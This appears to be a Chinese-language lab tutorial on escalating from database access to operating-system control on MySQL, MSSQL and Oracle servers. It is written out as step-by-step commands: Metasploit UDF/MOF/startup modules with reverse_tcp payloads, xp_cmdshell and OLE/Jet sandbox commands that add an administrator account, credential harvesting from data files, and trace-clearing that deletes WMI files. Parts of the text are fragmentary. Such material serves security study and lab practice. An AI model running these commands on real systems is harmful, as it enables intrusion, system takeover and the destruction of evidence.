数据库提权
数据库提权
VVkladg0r权限提升
数据库提权
如果内核提权没效果的情况下,采取数据库提权
前提条件:服务器开启数据库服务并且我们要获取到最高权限的用户密码
账号
mysql:root
mssql:sa
Oracle:xxx
获取密码
- SQL注入点–>sqlmap 数据库就会存放最高权限用户的账密
- 数据库的存储文件或备份文件获取
- 网站应用的配置文件获取
- 工具、脚本爆破(需要解决外联问题)
- 远程爆破
- 本地爆破
sqlmap就不打了
数据库存放
我们先用哥斯拉连上靶机
生成木马
把木马放到靶机上
哥斯拉连接一下
进入
找到phpstudy中的data目录
data文件夹下就是mysql的表、库
每一个文件对应一个数据库
进到mysql数据库中
.MYD文件中就存放了账号密码
找到
打开
password看的很清楚
mysql是通过md5加密的
解密一下
存储文件与备份文件
配置文件中也存在
爆破
远程爆破
爆破需要开启数据库外连
开启数据库外联命令:
mysql> use mysql; –打开数据库
mysql> GRANT ALL PRIVILEGES ON . TO ‘root‘@’%’ IDENTIFIED BY ‘root’ WITH GRANT OPTION; –开启远程连接
mysql> DELETE FROM user WHERE User=”root” and Host=”%”;
mysql> flush privileges; –更新配置
数据库管理
dbinfo-config
配置一下
开启外联
这样我们就可以用相应的外联工具进行远程连接
比如navicat
本地爆破
脚本:
<html> |
我们只需要改下字典地址就行
上传后浏览器访问一下
127.0.0.1
成功
Mysql提权
UDF提权
这个其实在sql注入的时候遇到过
介绍
UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了
说明
使用条件
- 获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)
- mysql具有写入文件的权限:mysql有写入文件的权限,即secure_file_priv的值为空。
可以查下有没有权限
show global variables like '%secure%';
为空–>有权限
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
如果secure_file_priv的值不是这个,我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ‘ ‘ ,然后冲去apache服务即可生效。
什么情况下需使用mysql提权?
- 拿到了mysql的权限,但是没拿到mysql所在服务器的任何权限,通过mysql提权,将mysql权限提升到操作系统权限
注:mysql提权获取到的权限大小跟运行mysql所在服务器登录的账号的权限相关,如操作系统以普通用户登录的并启动mysql,经udf提权后也只能获取到系统的普通用户权限。而使用管理员登录操作系统运行mysql,提权后获取的权限则为系统管理员权限
udf存放路径
mysql <5.1 c:/windows 或 system32
mysql>=5.1 /lib/plugin (mysql安装目录中)
查看数据库版本
select version(); //获取版本
select @@basedir; //获取mysql安装目录 (如果集成环境搭建没有,就自己创建一个)
操作系统udf文件差异
linux: .so
windows: .dll
msf提权
msf可以生成dll文件
这里用到一个新模块
use exploit/multi/mysql/mysql_udf_payload
进去后show options看一下
需要配置
rhost password username payload
set payload windows/meterpreter/reverse_tcp
set password root
set username root
set rhosts 192.168.10.199
写入成功
现在我们就需要用到我们的navicat了
select * from mysql.func where name = "sys_exec"; //查看有没有开启sys_exec
现在 这个sys_exec函数已经与我们恶意udf绑定
create function sys_eval returns string soname "faTmtVTW.dll"; //创建函数绑定dll,dll的名字和查看的名字要一致
绑定成功
现在我们可以rce了
select sys_eval("whoami")
sqlmap生成dll
sqlmap也可以生成dll文件来提权
sqlmap\data\udf\mysql\windows\32 //dll路径
sqlmap\extra\cloak //解密模块路径
cloak.py -d -i 你的dll加密文件 //解密dll
sqlmap–>data–>udf–>mysql–>windows–>64–>lib_mysaludf_sys.dll
这是一个加密了的恶意dll
现在我们要把它解密
sqlmap中内置了解密脚本
把这个文件放到
sqlmap–>extra–>cloak
这里面有个cloak.py脚本
cmd
python claok.py -d -i lib_mysqludf_sys.dll_
这个dll和我们msf生成的dll效果相同
我们把他放到目标的udf存放路径上
执行
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
绑定
在执行rce就行
MOF提权
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式“其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
提权条件
要有写入权限
my.ini配置secure_file_priv 为空
开启外联
win2003及以前的一些版本
同样我们使用msf
use exploit/windows/mysql/mysql_mof
看下配置
我们需要配置
password username rhost
set password root
set username root
set rhosts 192.168.0.123
run
我现在这个靶机是win2012 所以打不上去
最后可以清理一下痕迹
停止 winmgmt 服务
net stop winmgmt
删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
删除创建的用户
net user hacker /delete
重新启动服务
net start winmgmt
启动项提权
提权条件
要有写入权限
my.ini配置secure_file_priv 为空
开启外联
因为要写木马 老样子了
启动项路径
#2003
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
#2012
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
如果我们的文件放到这里面 那么在电脑重启后会自动调用system权限来执行这些文件
msf提权
用这个模块
use exploit/windows/mysql/mysql_start_up
看下配置
我们需要配置
password username rhosts AllowNoCleanup
set password root
set username root
set rhosts 192.168.0.123
set AllowNoCleanup true
成功
现在我们只需要在msf上开启一个监听 一旦目标重启电脑 我们这边就直接上线
这里我们手动重启一下
上线
注意这里端口是默认的4444
然后简单提权
成功
SqlServer提权
SQLServers是默认支持外联
我的靶机是win2003
一样 先拿到webshell权限
一般使用iis + asp建立网站
iis查看网站根目录
这样就可以打开网站根目录
注意shell文件是asp的
82端口
哥斯拉连接
找到配置文件
xp_cmdshell提权
xp_cmdshell是mssql的一个开放接口 它可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展“存贮过程”。
将命令字符串作为操作系统命令执行
使用navicat
看下这个组件开没开
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回1 说明已启用
没有启用的话
可以用这条命名启用一下
EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE
当然也可以关闭这个组件
EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',0 RECONFIGURE
这个组件一旦启用 就可以执行命令
exec xp_cmdshell "whoami"
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig"
这三种命令都可以执行
sp_oacreate提权
跟xp_cmdshell差不多
系统存储过程 可以用于对于文件的一些操作 删除复制等
查看一下开没开这个服务
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
返回1 表示已经启用
没有的话就启用一下
exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ole Automation Procedures',1; reconfigure;
写入文件 毕竟是操作文件的组件
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\sqltest.txt';
返回0 表示成功
已经写入
里面就是我们执行命令的结果
当然也可以删除文件
declare @result int declare @fso_token int exec sp_oacreate 'scripting.filesystemobject', @fso_token out exec sp_oamethod @fso_token,'deletefile',null,'c:\sqltest.txt' exec sp_oadestroy @fso_token
沙盒提权
沙盒是一种安全功能
在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.
如果沙盒可以关闭的话 我们就可以利用沙盒来提权
看下开没开呢
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')
现在是未开启状态
我们可以开启一下组件
exec sp_configure 'show advanced options',1 ; reconfigure ; exec sp_configure 'Ad Hoc Distributed Queries',1 ; reconfigure;
开启组件后会返回400
同理 可以关闭组件
exec sp_configure 'show advanced options',1 ; reconfigure ; exec sp_configure 'Ad Hoc Distributed Queries',0 ; reconfigure;
现在我们可以关闭沙盒了
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
看下当前沙盒模式是什么状态
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启
和sp_oacreate类似 创建一个文件 写入命令
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami >c:\\sqltest.txt ")');
创建成功
打开文件就是我们命令的执行结果
当然我们也可以用这些来创建一个用户
现在是没有这个用户的
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user testq QWEasd123 /add")');
创建一个用户testq 密码是QWEasd123
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators testq /add")');
把这个用户添加到管理员组
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user testq")');
看下这个用户在不在
成功
Oracle提权
木马已经传上来了
因为这个靶场环境是java环境(Apache Tocat)
所有木马是.jsp的
哥斯拉连接
发现它默认就是system权限
system权限当然就不用提了
如果不是 说明他是集成环境搭建的
他的默认路径是Tomcat/webapps/root
配置文件也在这里
oracle数据库默认的是1521端口
账号:scott
密码:tiger
这个testdb是他的sid号
我们使用这个工具来
OracleShell来提权
填一下信息
注意 模式选择DBA模式 普通模式也行
连接成功后可以反弹shell
可以看到数据库里的所有东西